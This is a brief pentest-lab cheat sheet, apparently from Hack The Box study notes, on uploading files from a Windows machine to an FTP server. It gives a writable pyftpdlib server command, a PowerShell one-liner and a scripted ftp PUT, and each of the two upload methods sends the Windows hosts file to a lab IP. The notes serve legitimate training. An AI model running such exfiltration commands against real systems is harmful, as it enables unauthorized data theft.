Upload

FTP

Notes and commands for FTP.

2024-03-27
Tags file-transferwindows-filetransferuploadftp

Similar to downloading with FTP

Use the Module but “–write”

  • sudo python3 -m pyftpdlib --port 21 --write

Now we use PowerShell to upload

  • PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

If no interactive shell, create a put file

C:\htb> echo open 192.168.49.128 > ftpcommand.txt

C:\htb> echo USER anonymous >> ftpcommand.txt

C:\htb> echo binary >> ftpcommand.txt

C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt

C:\htb> echo bye >> ftpcommand.txt

C:\htb> ftp -v -n -s:ftpcommand.txt

ftp> open 192.168.49.128

  • Log in with USER and PASS first.

ftp> USER anonymous

ftp> PUT c:\windows\system32\drivers\etc\hosts

ftp> bye